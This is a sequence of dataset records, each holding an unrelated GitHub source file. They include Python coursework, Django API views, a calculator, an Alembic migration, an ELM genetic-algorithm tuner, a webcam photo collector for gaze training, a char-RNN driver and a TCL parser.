fptr.close()\n","repo_name":"simsekhalit/CookSheets-Algorithms","sub_path":"problems/hackerrank-minimum-time-required/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"} +{"seq_id":"38721200940","text":"\"\"\"CSC148 Prep 6 Synthesize\r\n\r\n=== CSC148 Winter 2022 ===\r\nDepartment of Computer Science,\r\nUniversity of Toronto\r\n\r\nThis code is provided solely for the personal and private use of\r\nstudents taking the CSC148 course at the University of Toronto.\r\nCopying for purposes other than this use is expressly prohibited.\r\nAll forms of distribution of this code, whether as given or with\r\nany changes, are expressly prohibited.\r\n\r\nCopyright (c) 2021 Diane Horton, Jonathan Calver, Sophia Huynh,\r\nMyriam Majedi, and Jaisie Sin.\r\n\r\n=== Module Description ===\r\nThis module contains a __main__ block that defines some client code.\r\nDefine the three classes so that the example __main__ block will\r\nrun with all assertions passing and the output as described.\r\n\r\nThe provided self-test on MarkUs is the FULL test suite for this week!\r\nThis is a more robust set of tests, and there are no hidden test cases.\r\n\r\nYour grade will correspond to the number of test cases passed. If you\r\npass all of them, then you will receive full marks for this prep.\r\nAs such, any unspecified behaviour that is not in the self-test is left\r\nas a design decision for you.\r\n\r\nYour task for this prep is to complete a program that allows a user to create\r\nchecklists with items to be done and record when items are completed:\r\n- A checklist has a name (str) and a list of checklist items.\r\n- A checklist item has a description (str), a deadline (date), and\r\n the name of the user who completed the item.\r\n- A user has a name (str) and the total number items they have completed (int).\r\n\r\nYou will need to write one class for each of these entities.\r\nSee the __main__ block for an example of how we want to use these classes.\r\n\r\nYou may choose any reasonable way to store the necessary data. Attributes that\r\nare of type int, str, or bool, and date may be public, but all other attributes\r\nmust be private. You may add imports from the typing module, but do NOT add any\r\nother imports.\r\n\r\nWe will be checking for class docstrings that follow the Class Design Recipe.\r\nYou must include attribute type annotations and descriptions for all attributes.\r\nDocstrings for your methods are NOT required.\r\n\"\"\"\r\nfrom __future__ import annotations\r\nfrom datetime import date\r\nfrom typing import List\r\n\r\n# If you need any imports from the typing module, you may import them above.\r\n# (e.g. from typing import Optional)\r\n\r\n\r\n# TODO: Define the 3 necessary classes here.\r\n# See the __main__ block below for an example of how the classes will\r\n# be called and the expected output.\r\n# Be sure to write class docstrings that describe all attributes that\r\n# you create, and include type annotations for each attribute.\r\nclass CheckListItem:\r\n \"\"\"\r\n === Attributes ===\r\n desc:\r\n The description of this checklistitem\r\n deadline:\r\n the deadline when this item needs to be completed\r\n name:\r\n name of the user who completed this task\r\n \"\"\"\r\n desc: str\r\n deadline: date\r\n comp_name: str\r\n\r\n def __init__(self, desc: str, deadline: date) -> None:\r\n \"\"\"\r\n \"\"\"\r\n self.desc = desc\r\n self.deadline = deadline\r\n self.name = None\r\n\r\n def complete_item(self, user_name: User) -> None:\r\n self.comp_name = user_name\r\n\r\n\r\nclass User:\r\n \"\"\"A user\r\n\r\n === Attributes ===\r\n name:\r\n name of the user\r\n complete:\r\n number of items completed by this user\r\n \"\"\"\r\n name: str\r\n complete: int\r\n\r\n def __init__(self, name: str) -> None:\r\n \"\"\"initialize a user with a name and an empty list of completed tasks\r\n \"\"\"\r\n self.name = name\r\n self.complete = 0\r\n\r\n def total_items_checked(self) -> int:\r\n return self.complete\r\n\r\n\r\nclass Checklist:\r\n \"\"\"\r\n === Attributes ===\r\n name:\r\n name of this checklist\r\n lst_checks:\r\n list of all the checklistitems in the checklist\r\n lst_users:\r\n list of all the users who have completed tasks\r\n \"\"\"\r\n lst_name: str\r\n _lst_checks: List[CheckListItem]\r\n _lst_users: List[User]\r\n\r\n def __init__(self, lst_name: str) -> None:\r\n \"\"\"Initialize a checklist with a name and a list of checklisitems\r\n \"\"\"\r\n self.lst_name = lst_name\r\n self._lst_checks = []\r\n self._lst_users = []\r\n\r\n def print(self) -> str:\r\n print(self.lst_name)\r\n for items in self.lst_checks:\r\n if items.name is not None:\r\n print('[x] ' + items.desc + ' ' + str(items.deadline) +\r\n ', completed by ' + items.comp_name)\r\n else:\r\n print('[-] ' + items.desc + ' ' + str(items.deadline))\r\n\r\n def create_item(self, item_name: str, dates: date) -> None:\r\n\r\n new_item = CheckListItem(item_name, dates)\r\n self.lst_checks.append(new_item)\r\n\r\n def mark_item_complete(self, item_name: str, user_name: User) -> None:\r\n\r\n for item in self.lst_checks:\r\n if item.desc == item_name:\r\n break\r\n user = User(user_name)\r\n if user not in self._lst_users.name:\r\n self._lst.users.append(user)\r\n\r\n CheckListItem.complete_item(item, user)\r\n user.complete = user.complete + 1\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # Instantiate three users\r\n manila = User('Manila')\r\n sofija = User('Sofija')\r\n felix = User('Felix')\r\n\r\n # Instantiate a checklist\r\n manilas_checklist = Checklist('Planner for M')\r\n\r\n # Manila adds some items to the checklist, the first one she adds is Math\r\n # Homework due on March 1st.\r\n manilas_checklist.create_item('Math Homework', date(2021, 3, 1))\r\n manilas_checklist.create_item('pick up milk', date(2021, 2, 25))\r\n manilas_checklist.create_item('CSC148 A1', date(2021, 3, 2))\r\n\r\n # Manila finishes her CSC148 assignment and marks it complete\r\n manilas_checklist.mark_item_complete('CSC148 A1', manila)\r\n\r\n # Sofija attempts to check off an item as complete that isn't in\r\n # manilas_checklist. This does nothing.\r\n manilas_checklist.mark_item_complete('MAT157 Review', sofija)\r\n\r\n # Sofija picks up milk for Manila.\r\n manilas_checklist.mark_item_complete('pick up milk', sofija)\r\n\r\n print(manilas_checklist)\r\n # The output is below. Notice that the order is based on the order they\r\n # were added to manilas_checklist. Output:\r\n # Planner for M\r\n # [-] Math Homework (2021-03-01)\r\n # [x] pick up milk (2021-02-25), completed by Sofija\r\n # [x] CSC148 A1 (2021-03-02), completed by Manila\r\n\r\n # confirm the check list items are all present in the checklist\r\n for item_description in ['Math Homework', 'pick up milk', 'CSC148 A1']:\r\n assert manilas_checklist.has_item(item_description)\r\n\r\n # Felix completed no checklist items\r\n assert felix.total_items_checked == 0\r\n # Manila and Sofija each completed one checklist item\r\n assert manila.total_items_checked == 1\r\n assert sofija.total_items_checked == 1\r\n\r\n import python_ta\r\n\r\n python_ta.check_all(config={\r\n 'extra-imports': ['datetime'],\r\n 'disable': ['W0212', 'E1136']\r\n })\r\n","repo_name":"susseam/prep6","sub_path":"prep6.py","file_name":"prep6.py","file_ext":"py","file_size_in_byte":7129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"27043693113","text":"class Anime:\n def __init__(self, name, rating, genre):\n self.name = name\n self.rating = rating\n self.genre = genre\n\n def add_character(self, *info):\n pass\n\n def __str__(self):\n s = f\"Name: {self.name}\\nRating: {self.rating}\\nGenre: {self.genre}\"\n return s\n\nclass Naruto(Anime):\n def __init__(self, name, rating, genre, ry):\n super().__init__(name, rating, genre)\n self.ry = ry \n self.characters = {}\n \n def release_year(self):\n return \"{} has been released in {}!!!\".format(self.name, self.ry)\n \n def add_character(self, *characters):\n i = 0\n l = len(characters)\n while i ', 'book':book_serializer.data}\n return Response(response, status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\ndef book_detail(request, pk):\n try:\n book = Books.objects.get(pk=pk)\n except Books.DoesNotExist:\n return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n#retrieve\n\n if request.method == 'GET':\n serializer = BookskSerializer(book, data)\n return Response(serializer.data, status=status.HTTP_200_OK)\n#update\n@api_view(['PUT'])\ndef update_book(request, pk): \n if request.method =='PUT':\n book = Books.objects.get(pk=pk)\n data=request.data\n serializer = BooksSerializer(book, data)\n if serializer.is_valid():\n serializer.save()\n return Response({'message':'this book is about to be updated'}, serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n#delete\n@api_view(['DELETE'])\ndef delete_book(request, pk):\n if request.method == 'DELETE':\n book = Books.objects.get(pk=pk)\n book.delete()\n return Response({'message':'this book has been deleted'}, status=status.HTTP_204_NO_CONTENT)\n\n@api_view(['PUT'])\ndef update_review(request, id):\n if request.method == 'PUT':\n review = Review.objects.get(id=id)\n data = request.data\n review_serializer = ReviewSerializer(review, data)\n if review_serializer.is_valid():\n review_serializer.save()\n return Response({'instruction':'you are given the opportunity to update your comment'}, review_serializer.data)\n return Response(review_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n@api_view(['DELETE'])\ndef delete_review(request, pk):\n if request.method == 'DELETE':\n review = Review.objects.get(pk=pk)\n review.delete()\n return Response({'message':'this review has been deleted'}, status=status.HTTP_204_NO_CONTENT)","repo_name":"Ibelema/bookstore","sub_path":"bookshop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"25654700748","text":"#!/usr/bin/python3\nfrom calculator_1 import add, mul, sub, div\nfrom sys import argv\nimport sys\n\n\ndef main():\n operators = \"+/*-\"\n if (len(argv) < 4):\n print(\"Usage: ./100-my_calculator.py \")\n sys.exit(1)\n\n a = int(argv[1])\n operator = argv[2]\n b = int(argv[3])\n\n if (operator not in operators):\n print(\"Unknown operator. Available operators: +, -, * and /\")\n sys.exit(1)\n res = 0\n if (operator == \"+\"):\n res = add(a, b)\n print(f\"{a} + {b} = {res}\")\n sys.exit(0)\n elif (operator == \"*\"):\n res = mul(a, b)\n print(f\"{a} * {b} = {res}\")\n sys.exit(0)\n elif (operator == \"-\"):\n res = sub(a, b)\n print(f\"{a} - {b} = {res}\")\n sys.exit(0)\n else:\n res = div(a, b)\n print(f\"{a} / {b} = {res}\")\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"hatealx/alx-higher_level_programming","sub_path":"0x02-python-import_modules/100-my_calculator.py","file_name":"100-my_calculator.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"41842453735","text":"\"\"\"empty message\n\nRevision ID: 253ca68af837\nRevises: d488178a75a3\nCreate Date: 2019-11-08 19:52:07.128281\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '253ca68af837'\ndown_revision = 'd488178a75a3'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('classes', sa.Column('section', sa.String(length=2), nullable=True))\n op.drop_constraint('course_ibfk_1', 'course', type_='foreignkey')\n op.drop_column('course', 'Faculty_id')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('course', sa.Column('Faculty_id', mysql.INTEGER(display_width=11), autoincrement=False, nullable=True))\n op.create_foreign_key('course_ibfk_1', 'course', 'faculty', ['Faculty_id'], ['id'])\n op.drop_column('classes', 'section')\n # ### end Alembic commands ###\n","repo_name":"Nannigalaxy/flask_web_app","sub_path":"migrations/versions/253ca68af837_.py","file_name":"253ca68af837_.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"35267714378","text":"import sys\n\nheight = int(sys.stdin.readline())\n\n#print(\"height :\", height)\n\ntable = []\nfor i in range(height+1):\n table.append([0 for i in range(height+1)])\n\n#print(\"arr :\")\n#print(table)\n\nstudents = {}#[[]]*(height*height+1)\n#print(students)\nfor i in range(height*height):\n arr= list(map(int, sys.stdin.readline().split()))\n #print(arr)\n #arr = list(int(sys.stdin.readline().strip()))\n if len(arr[1:]) == 0:\n students[arr[0]] = [-1]\n else:\n students[arr[0]] = arr[1:]\n\nprint(students)\n#print(len(students))\nx = [0 ,1, 0 , -1]\ny = [1 ,0, -1 , 0] #우 아래 좌 위 방향으로 확인\n\n\n\n\n\nfor cur_student, cur_values in students.items(): #학생수만큼 탐색을 진행\n #print(\"cur_student : \", cur_student)\n #print(\"cur_values : \", cur_values)\n max_indexX = 0\n max_indexY = 0\n max_value = 0\n max_empty = 0\n for i in range(1,height+1):\n for j in range(1, height+1):\n #print(\"i, j : \", i, j)\n temp_value = 0\n temp_empty = 0\n\n if table[i][j] != 0:\n continue;\n\n for k in range(len(x)):\n check_indexX = i + x[k]\n check_indexY = j + y[k]\n if(height < check_indexX or check_indexX < 1):\n continue\n if(height < check_indexY or check_indexY < 1):\n continue\n\n if table[check_indexX][check_indexY] in cur_values:\n temp_value += 1\n elif(table[check_indexX][check_indexY] == 0):\n #print(\"check i, j : \", check_indexX,check_indexY )\n temp_empty += 1\n\n if temp_value > max_value:\n #print(\"change1 i, j : \", i, j)\n max_indexX = i\n max_indexY = j\n max_value = temp_value\n max_empty = temp_empty\n elif temp_value == max_value:\n if temp_empty > max_empty:\n #print(\"change2 i, j : \", i, j)\n #print(\"max empty: \",max_empty)\n #print(\"cur empty: \",temp_empty)\n max_indexX = i\n max_indexY = j\n max_value = temp_value\n max_empty = temp_empty\n\n table[max_indexX][max_indexY] = cur_student\n #print(table)\nprint(table)\n\ntotal_value = 0\n\nfor i in range(1, height + 1):\n for j in range(1, height + 1):\n print(table[i][j])\n cur_values = students[table[i][j]]\n #print(\"cur_values :\", cur_values)\n temp_value = 0\n for k in range(len(x)):\n check_indexX = i + x[k]\n check_indexY = j + y[k]\n if (height < check_indexX or check_indexX < 1):\n continue\n if (height < check_indexY or check_indexY < 1):\n continue\n\n if table[check_indexX][check_indexY] in cur_values:\n # print(\"check value\")\n temp_value += 1\n if temp_value == 1:\n total_value += 1\n elif temp_value == 2:\n total_value += 10\n elif temp_value == 3:\n total_value += 100\n elif temp_value == 4:\n total_value += 1000\nprint(total_value)","repo_name":"min-kim-oss/2023_coding_test","sub_path":"BJ/implematation/BJ21608_undo.py","file_name":"BJ21608_undo.py","file_ext":"py","file_size_in_byte":3252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"31982390544","text":"import os\n\n\nclass Config:\n \"\"\"Base configuration variables.\"\"\"\n SECRET_KEY = os.environ.get('SECRET_KEY')\n LOG_LEVEL = os.environ.get('LOG_LEVEL')\n LOGGLY_TOKEN = os.environ.get('LOGGLY_TOKEN')\n LOGIN_DISABLED = os.environ.get('LOGIN_DISABLED') == \"False\"\n\n if not SECRET_KEY:\n raise ValueError(\"No SECRET_KEY set for Flask application. Did you follow the setup instructions?\")\n","repo_name":"kiranuppi/DevOps-Course-Starter","sub_path":"todo_app/flask_config.py","file_name":"flask_config.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"21446464856","text":"import geatpy as ea\r\nimport numpy as np\r\nfrom sklearn.model_selection import KFold\r\nfrom elm_class import ELM\r\nfrom multiprocessing.dummy import Pool as ThreadPool\r\n# 遗传算法工具箱geatpy单目标优化模板\r\nclass GA(ea.Problem): # 继承Problem父类\r\n def __init__(self, data, labels):\r\n name = 'KLM_GA' # 函数名称,可以随意设置\r\n M = 1 # 初始化M(目标维数)\r\n maxormins = [-1] # 目标最小最大化标记列表,1:最小化该目标;-1:最大化该目标\r\n Dim = 1 # 初始化Dim(决策变量维数)\r\n varTypes = [1] # 初始化varTypes(决策变量的类型,元素为0表示对应的变量是连续的;1表示是离散的)\r\n lb = [100] * Dim # 决策变量下界\r\n ub = [500] * Dim # 决策变量上界\r\n lbin = [1] * Dim # 决策变量下边界(0表示不包含该变量的下边界,1表示包含)\r\n ubin = [1] * Dim # 决策变量上边界(0表示不包含该变量的上边界,1表示包含)\r\n # 调用父类构造方法完成实例化\r\n ea.Problem.__init__(self, name, M, maxormins, Dim, varTypes, lb, ub, lbin, ubin)\r\n # 属性集和标签集\r\n self.data = data\r\n self.dataTarget = labels\r\n\r\n def aimFunc(self, pop): # 目标函数,采用多线程加速计算\r\n Vars = pop.Phen # 得到决策变量矩阵\r\n pop.ObjV = np.zeros((pop.sizes, 1)) # 初始化种群个体目标函数值列向量\r\n\r\n def subAimFunc(index):\r\n num = Vars[index, 0]\r\n # 计算交叉验证的得分\r\n sumAcc = 0\r\n kfold = KFold(n_splits=10, shuffle=False)\r\n for i, j in kfold.split(self.data, self.dataTarget):\r\n train_data, train_label = self.data[i, :], self.dataTarget[i]\r\n valid_data, valid_label = self.data[j, :], self.dataTarget[j]\r\n # ELM分类\r\n row = train_data.shape[0]\r\n columns = train_data.shape[1]\r\n rnd = np.random.RandomState(4396)\r\n # 随机产生输入权重w 和隐层偏差b\r\n w = rnd.uniform(-1, 1, (columns, num))\r\n b = np.zeros([row, num], dtype=float)\r\n for i in range(num):\r\n rand_b = rnd.uniform(-0.4, 0.4)\r\n for j in range(row):\r\n b[j, i] = rand_b\r\n model = ELM(train_data, w, b)\r\n model.classify_train(train_label)\r\n predict = model.classify_predict(valid_data)\r\n acc = np.sum(predict == valid_label) / len(predict)\r\n sumAcc = sumAcc + acc\r\n pop.ObjV[index] = sumAcc/10 # 把交叉验证的平均得分作为目标函数值\r\n\r\n pool = ThreadPool(2) # 设置池的大小\r\n pool.map(subAimFunc, list(range(pop.sizes)))\r\n","repo_name":"LieFlatRemi/MachineLearningHw","sub_path":"python-ELM/ga_class.py","file_name":"ga_class.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"14331689236","text":"import random\nimport cv2\nimport os\nfrom PyQt5.QtCore import QByteArray, qFuzzyCompare, Qt, QTimer\nfrom PyQt5.QtGui import QPalette, QPixmap\nfrom PyQt5.QtMultimedia import (QAudioEncoderSettings, QCamera,\n QCameraImageCapture, QImageEncoderSettings, QMediaMetaData,\n QMediaRecorder, QMultimedia, QVideoEncoderSettings)\nfrom PyQt5.QtWidgets import (QAction, QActionGroup, QApplication, QDialog,\n QMainWindow, QMessageBox)\n\nfrom ui_training_form import Ui_MainWindow as UI_TrainingForm\nBLOCKS_COUNT = 4\nclass TrainingForm(QDialog):\n # Основной класс для сохранения фото\n def __init__(self, parent=None):\n super(TrainingForm, self).__init__(parent)\n\n self.ui = UI_TrainingForm()\n self.ui.setupUi(self)\n self.blocks = [self.ui.block_1, self.ui.block_2, self.ui.block_3, self.ui.block_4]\n self.timer = QTimer(self)\n\n for i in range(len(self.blocks)):\n if not os.path.exists('{0}'.format(i+1)):\n os.makedirs('{0}'.format(i+1))\n # тут храним кол=во картинок в папке\n self.block_img_counter = []\n for i in range(BLOCKS_COUNT):\n block_index = i + 1\n block_dir = os.walk('{0}'.format(block_index))\n for d, dirs, files in block_dir:\n self.block_img_counter.append(len(files))\n self.timer.timeout.connect(self.timer_tick)\n self.timer.start(1500)\n # cameraDevice = QByteArray()\n self.cam = cv2.VideoCapture(0)\n self.img_number = 1\n\n\n\n def setCentralWidget(self, centralWidget):\n pass\n\n def setStatusBar(self, statusBar):\n pass\n\n def timer_tick(self):\n self.point_number = random.randrange(0, len(self.blocks))\n for block in self.blocks:\n block.setStyleSheet(\"border: 1px solid rgb(0, 0, 0); background:rgb(244, 254, 255)\")\n\n block = self.blocks[self.point_number]\n block.setStyleSheet(\"border: 1px solid rgb(0, 0, 0); background: #aaffd8;\")\n timeout(self.save_img, timeout_duration=300)\n\n def save_img(self):\n #Сохранение фотки\n _, frame = self.cam.read()\n self.block_img_counter[self.point_number]\n cv2.imwrite('{0}\\img_{1}.jpg'.format(self.point_number+1,\n self.block_img_counter[self.point_number]), frame)\n print('saved')\n self.block_img_counter[self.point_number] += 1\n\ndef timeout(func, args=(), kwargs={}, timeout_duration=1, default=None):\n import threading\n class InterruptableThread(threading.Thread):\n def __init__(self):\n threading.Thread.__init__(self)\n self.result = None\n\n def run(self):\n try:\n self.result = func(*args, **kwargs)\n except:\n self.result = default\n\n it = InterruptableThread()\n it.start()\n it.join(timeout_duration)\n if it.isAlive():\n return default\n else:\n return it.result\n\nif __name__ == '__main__':\n\n import sys\n\n app = QApplication(sys.argv)\n\n form = TrainingForm()\n form.show()\n\n sys.exit(app.exec_())","repo_name":"takentui/EyeWindowsController","sub_path":"training_faces/photo_saver.py","file_name":"photo_saver.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"72637932648","text":"\"\"\"226. Invert Binary Tree\nEasy\n10.1K\n142\nCompanies\nGiven the root of a binary tree, invert the tree, and return its root.\n\n \n\nExample 1:\n\n\nInput: root = [4,2,7,1,3,6,9]\nOutput: [4,7,2,9,6,3,1]\nExample 2:\n\n\nInput: root = [2,1,3]\nOutput: [2,3,1]\nExample 3:\n\nInput: root = []\nOutput: []\"\"\"\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n \n def invertTree(self, root: Optional[TreeNode]) -> Optional[TreeNode]:\n if not root:\n return\n temp=root\n # result=[]\n stack = []\n stack.append(root)\n # print(root.left.left)\n # print(\"root: \",root)\n while stack:\n root = stack.pop(0)\n # result.append(root.val)\n left = root.left\n right = root.right\n\n root.left=right\n root.right=left\n \n if root.right:stack.append(root.right)\n if root.left:stack.append(root.left)\n \n # print(result)\n return temp","repo_name":"behrooz2011/algorithm","sub_path":"75 Leet/Tree_invert_binary_no_value_arr.py","file_name":"Tree_invert_binary_no_value_arr.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"38641151920","text":"# 19. Write a program that asks the user for a large integer and inserts commas into it according\n# to the standard American convention for commas in large numbers. For instance, if the user\n# enters 1000000, the output should be 1,000,000.\n\nlarge_int = input('Enter a large integer: ')\n\nlarge_int = large_int[::-1]\nnew_int = ''\nfor i in range(len(large_int)):\n if i % 3 == 0 and i != 0:\n new_int += ','\n new_int += large_int[i]\nnew_int = new_int[::-1]\n\nprint(new_int)\n","repo_name":"ahr9n/awesome-reading","sub_path":"a-practical-introduction-to-python-programming-brian-heinold/chapter-06/exercise-19.py","file_name":"exercise-19.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"53"} +{"seq_id":"25310902607","text":"# Driver program, replaces previous Powershell and shell options\n\nimport os\nimport argparse\n\ndef main():\n # Create the argument parser\n ap = argparse.ArgumentParser()\n ap.add_argument(\"-f\", \"--filename\", required=True,\n help=\"name of the data file\")\n ap.add_argument(\"-e\", \"--epochs\", required=False, default=10,\n help=\"number of epochs for the hidden layer\")\n ap.add_argument(\"-hi\", \"--hidden\", required=False, default=2,\n help=\"number of hidden layers\")\n ap.add_argument(\"-d\", \"--dropout\", required=False, default=0.3,\n help=\"dropout\")\n ap.add_argument(\"-b\", \"--batch\", required=False, default=512,\n help=\"batch size\")\n ap.add_argument(\"-s\", \"--sequence\", required=False, default=15,\n help=\"sequence length\")\n ap.add_argument(\"-n\", \"--nodes\", required=False, default=256,\n help=\"number of nodes per hidden layer\")\n\n # Read in command line arguments\n args = vars(ap.parse_args())\n filename = args[\"filename\"]\n epochs = max(int(args[\"epochs\"]), 1)\n hidden = max(int(args[\"hidden\"]), 1)\n dropout = float(args[\"dropout\"])\n batch = int(args[\"batch\"])\n seq = max(int(args[\"sequence\"]), 1)\n nodes = max(int(args[\"nodes\"]), 1)\n\n # Call the model runner\n command = \"python char-rnn-model.py -f {0} -e {1} -hi {2} -d {3} -b {4} -s {5} -n {6}\"\\\n .format(filename, epochs, hidden, dropout, batch, seq, nodes)\n print(command)\n os.system(command)\n\n # Call the model generator\n os.system(\"python char-rnn-pred.py {0} {1} {2}\".format(filename, hidden, nodes))\n\n # Call the postprocessor\n os.system(\"python postprocess.py {0}\".format(filename))\n\n# Runner\nif __name__==\"__main__\":\n main()\n","repo_name":"bgreenawald/Char-Rnn","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"28095808537","text":"\n# big stack of parsed stuff\n# contains dictionary entries of just about every token\n#parse_stack = []\n\nclass TCLParse:\n def __init__(self, tcl_str):\n self.parse_tree = []\n self.cmd_list = []\n self.parentextra = ''\n self.extraind = 0\n self.tcl_str = tcl_str\n \n # end immediately and return a value\n def E_RETURN(self, val):\n self.tcl_str = ''\n return val\n \n def EOF(self):\n return len(self.tcl_str) == 0\n\n # look at the next char\n def peek(self):\n assert not self.EOF()\n return self.tcl_str[0]\n\n # remove the next char\n def pop(self):\n self.tcl_str = self.tcl_str[1:]\n\n def parse_add(self, key, value):\n if self.parentextra == '':\n self.parse_tree.append({key: value})\n else:\n if self.extraind == 0:\n self.parse_tree.append({self.parentextra: []})\n self.extraind = len(self.parse_tree) - 1\n self.parse_tree[self.extraind][self.parentextra].append({key: value})\n \n def ARRAY(self):\n assert self.peek() == '('\n \n self.pop()\n if self.peek() == '$':\n w = {'VAREXP': self.VAREXP()}\n else:\n w = {'WORD': self.WORD()}\n self.pop()\n \n return w\n \n # WORD = ALPHANUM, { ALPHANUM } ;\n # alternative if a ( is found ARRAY = WORD, ['(', { anychar - ')' }, ')'] ;\n # array is store as a list with name and index\n def WORD(self):\n wb = ''\n while not self.EOF() and self.ALPHANUM(self.peek()):\n wb += self.peek()\n self.pop()\n if not self.EOF() and self.peek() == '(': # array\n arr = self.ARRAY()\n \n return {'name': wb, 'index': arr}\n return wb\n\n # END just matches ; or \\n or EOF\n # END = ';' | '\\n' | EOF ;\n def END(self):\n if self.EOF(): # end of file\n return\n # print(f'\"{peek()}\"')\n assert self.peek() == ';' or self.peek() == '\\n'\n self.pop()\n\n # WHITE_SPACE just matches a space\n def WHITE_SPACE(self):\n assert self.peek() == ' '\n self.pop()\n\n def ALPHANUM(self, n):\n return n.isalnum() | (n in '*/+-<>=.')\n\n # BRACEBLOCK = '{', ( BRACEBLOCK | ( { anychar - '}' } , '}' ) ) ;\n def BRACEBLOCK(self):\n wb = ''\n assert self.peek() == '{'\n self.pop()\n while self.peek() != '}':\n if self.peek() == '{':\n wb += '{' + self.BRACEBLOCK() + '}' # preserves internal braces and only goes one level down\n if self.peek() == '}': break\n wb += self.peek()\n self.pop()\n assert self.peek() == '}'\n self.pop()\n \n return wb\n\n # VAREXP = '$', ([BRACEBLOCK] | WORD) ;\n def VAREXP(self):\n assert self.peek() == '$'\n self.pop()\n \n parsed = ''\n \n if self.peek() == '{':\n parsed = self.BRACEBLOCK()\n elif self.ALPHANUM(self.peek()):\n parsed = self.WORD()\n else:\n print('invalid variable expression')\n \n #self.parse_add('VAREXP', parsed)\n return parsed\n\n # CMDEXP = '[', CMD | ']' ;\n def CMDEXP(self):\n assert self.peek() == '['\n #self.parse_add('COMEXP_START', self.peek())\n self.parentextra = 'COMEXP'\n self.pop()\n self.CMD()\n assert self.peek() == ']'\n #self.parse_add('COMEXP_END', self.peek())\n self.parentextra = ''\n self.extraind = 0\n self.pop()\n\n # QUOTEBLOCK = '\"', { CMDEXP | VAREXP | anychar - ('[', '$') }, \" ;\n def QUOTEBLOCK(self):\n wb = ''\n assert self.peek() == '\"'\n self.parentextra = 'QUOTE'\n #self.parse_add('QUOTE_START', self.peek())\n self.pop()\n while self.peek() != '\"':\n if self.peek() == '[':\n self.parse_add('QUOTE_STR', wb)\n wb = ''\n self.CMDEXP()\n #wb += f'CMDEXP: {CMDEXP()}'\n elif self.peek() == '$':\n self.parse_add('QUOTE_STR', wb)\n wb = ''\n self.parse_add('VAREXP', self.VAREXP())\n #wb += f'VAREXP: {VAREXP()}'\n else:\n wb += self.peek()\n self.pop()\n \n assert self.peek() == '\"'\n \n if len(wb) > 0: self.parse_add('QUOTE_STR', wb)\n \n #self.parse_add('QUOTE_END', self.peek())\n self.parentextra = ''\n self.extraind = 0\n self.pop()\n \n return wb\n\n # CMD = { ( WORD | ARRAY | CMDEXP | BRACEBLOCK | QUOTEBLOCK | VAREXP ), [ WHITE_SPACE ] } ;\n def CMD(self):\n while not self.EOF():\n \n c = self.peek()\n if self.ALPHANUM(c): # WORD\n self.parse_add('WORD', self.WORD())\n elif c == '[': # CMDEXP\n self.CMDEXP()\n elif c == '{': # BRACEBLOCK\n self.parse_add('WORD', self.BRACEBLOCK())\n elif c == '\"': # QUOTEBLOCK\n self.QUOTEBLOCK()\n elif c == '$': # VAREXP\n self.parse_add('VAREXP', self.VAREXP())\n elif c == ']':\n break\n elif c == ' ':\n self.WHITE_SPACE()\n elif c == '\\n' or c == ';':\n break\n else:\n print(f'unknown token \"{self.peek()}\"')\n self.pop()\n break\n \n \n\n # PROGRAM = { '\\n' | ( '#', { anychar - '\\n' } ) | ( { WHITE_SPACE }, CMD, [ END ] ) }, EOF ;\n def PROGRAM(self):\n while not self.EOF():\n if self.peek() == '\\n':\n self.pop()\n continue\n \n while not self.EOF() and self.peek() == ' ':\n self.WHITE_SPACE()\n \n if not self.EOF() and self.peek() == '#':\n while(not self.EOF() and self.peek() != '\\n'):\n self.pop()\n self.pop() # remove newline after (END)\n continue\n \n #self.CMD()\n self.CMD()\n \n self.cmd_list.append(self.parse_tree)\n self.parse_tree = []\n if not self.EOF() and self.peek() in ';\\n':\n self.END()\n \n assert self.EOF()\n return self.cmd_list\n","repo_name":"PerthGoat/tclpy","sub_path":"tclparse.py","file_name":"tclparse.py","file_ext":"py","file_size_in_byte":5484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"2049202931","text":"#!/usr/bin/env python\n\"\"\"Create SNV report.\"\"\"\n\nimport os\n\nfrom dominate.tags 